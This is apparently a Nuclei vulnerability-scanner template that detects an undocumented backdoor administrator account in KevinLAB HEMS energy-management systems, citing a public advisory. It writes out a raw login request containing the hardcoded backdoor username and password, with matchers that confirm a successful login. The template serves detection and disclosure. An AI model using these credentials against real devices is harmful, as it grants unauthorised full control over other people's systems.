id: kevinlab-hems-backdoor info: name: KevinLAB HEMS Undocumented Backdoor Account author: gy741 severity: critical description: The HEMS solution has an undocumented backdoor account and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution thru the RMI. Attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the HEMS is offering remotely. reference: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5654.php tags: kevinlab requests: - raw: - | POST /dashboard/proc.php?type=login HTTP/1.1 Host: {{Hostname}} Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept-Encoding: gzip, deflate Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close userid=kevinlab&userpass=kevin003 matchers-condition: and req-condition: true matchers: - type: dsl dsl: - "!contains(body_1, 'alert')" - "contains(body_1, 'meta http-equiv')" condition: and - type: status status: - 200